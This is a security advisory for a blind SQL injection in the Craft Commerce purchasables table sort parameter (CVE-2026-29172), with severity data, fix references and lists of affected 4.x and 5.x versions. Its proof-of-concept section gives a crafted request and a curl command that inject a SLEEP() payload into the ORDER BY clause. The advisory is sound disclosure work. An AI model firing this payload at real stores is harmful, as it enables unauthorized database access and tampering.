GHSA-j3x5-mghf-xvfw
Suggest an improvement- Source
- https://github.com/advisories/GHSA-j3x5-mghf-xvfw
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-j3x5-mghf-xvfw/GHSA-j3x5-mghf-xvfw.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-j3x5-mghf-xvfw
- Aliases
- Published
- 2026-03-10T18:23:07Z
- Modified
- 2026-03-13T04:22:03Z
- Severity
-
- 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
- Summary
- Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting
- Details
-
Summary
Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The
sortparameter is split by|and the first part (column name) is passed directly as an array key toorderBy()without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into theORDER BYclause.
PoC
Required Permissions
- General
- Access the control panel
- Access Craft Commerce
- Craft Commerce
- Manage orders
- Edit orders
Steps to reproduce
- Log in to the control panel
- Navigate to Commerce > Orders > Create a new order
- Click on "Add a line item" to show the purchasables table
- Intercept the AJAX request and modify the
sortparameter as follows:
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc- Observe the delay in the response, confirming the injection
Alternatively, you can use the following
curl(bash syntax) command (replace cookie and target domain as needed):curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'Impact
With this Blind SQLi, an attacker can:
- Exfiltrate data character-by-character (same technique as GHSA-pmgj-gmm4-jh6j).
- Modify or destroy data (drop tables, update records, alter schema).
- General
- Database specific
{ "cwe_ids": [ "CWE-89" ], "github_reviewed": true, "github_reviewed_at": "2026-03-10T18:23:07Z", "nvd_published_at": "2026-03-10T20:16:38Z", "severity": "HIGH" }- References
-
- https://github.com/craftcms/commerce/security/advisories/GHSA-j3x5-mghf-xvfw
- https://nvd.nist.gov/vuln/detail/CVE-2026-29172
- https://github.com/craftcms/commerce/commit/b231b920b73db023e81e5b261b894d73e865c276
- https://github.com/craftcms/commerce/commit/e4e0f4107cd895d29290523637f077fe280407b1
- https://github.com/craftcms/commerce
Affected packages
Packagist / craftcms/commerce
Package
- Name
- craftcms/commerce
- Purl
- pkg:composer/craftcms/commerce
Affected versions
4.*
4.0.0
4.0.1
4.0.2
4.0.3
4.0.4
4.1.0
4.1.1
4.1.2
4.1.3
4.2.0
4.2.1
4.2.2
4.2.3
4.2.4
4.2.5
4.2.5.1
4.2.6
4.2.7
4.2.8
4.2.9
4.2.10
4.2.11
4.3.0
4.3.1
4.3.2
4.3.3
4.4.0
4.4.1
4.4.1.1
4.5.0
4.5.1
4.5.1.1
4.5.2
4.5.3
4.5.4
4.6.0
4.6.1
4.6.2
4.6.3.1
4.6.4
4.6.5
4.6.6
4.6.7
4.6.8
4.6.9
4.6.10
4.6.11
4.6.12
4.6.13
4.6.14
4.7.0
4.7.1
4.7.2
4.7.3
4.8.0
4.8.0.1
4.8.1
4.8.1.1
4.8.1.2
4.8.2
4.8.3
4.8.4
4.9.0
4.9.1
4.9.2
4.9.3
4.9.4
4.10.0
4.10.1
Packagist / craftcms/commerce
Package
- Name
- craftcms/commerce
- Purl
- pkg:composer/craftcms/commerce
Affected versions
5.*
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7
5.0.8
5.0.9
5.0.10
5.0.10.1
5.0.11
5.0.11.1
5.0.12
5.0.12.1
5.0.12.2
5.0.13
5.0.14
5.0.15
5.0.16
5.0.16.1
5.0.16.2
5.0.17
5.0.18
5.0.19
5.1.0-beta.1
5.1.0-beta.2
5.1.0-beta.3
5.1.0
5.1.0.1
5.1.1
5.1.2
5.1.3
5.1.4
5.2.0
5.2.1
5.2.2
5.2.2.1
5.2.3
5.2.4
5.2.5
5.2.6
5.2.7
5.2.8
5.2.9
5.2.9.1
5.2.10
5.2.11
5.2.12
5.2.12.1
5.3.0
5.3.0.1
5.3.0.2
5.3.1
5.3.2
5.3.2.1
5.3.2.2
5.3.3
5.3.4
5.3.5
5.3.6
5.3.7
5.3.8
5.3.9
5.3.10
5.3.11
5.3.12
5.3.13
5.4.0
5.4.1
5.4.1.1
5.4.2
5.4.3
5.4.4
5.4.5
5.4.5.1
5.4.6
5.4.7
5.4.7.1
5.4.8
5.4.9
5.4.10
5.5.0
5.5.0.1
5.5.1
5.5.2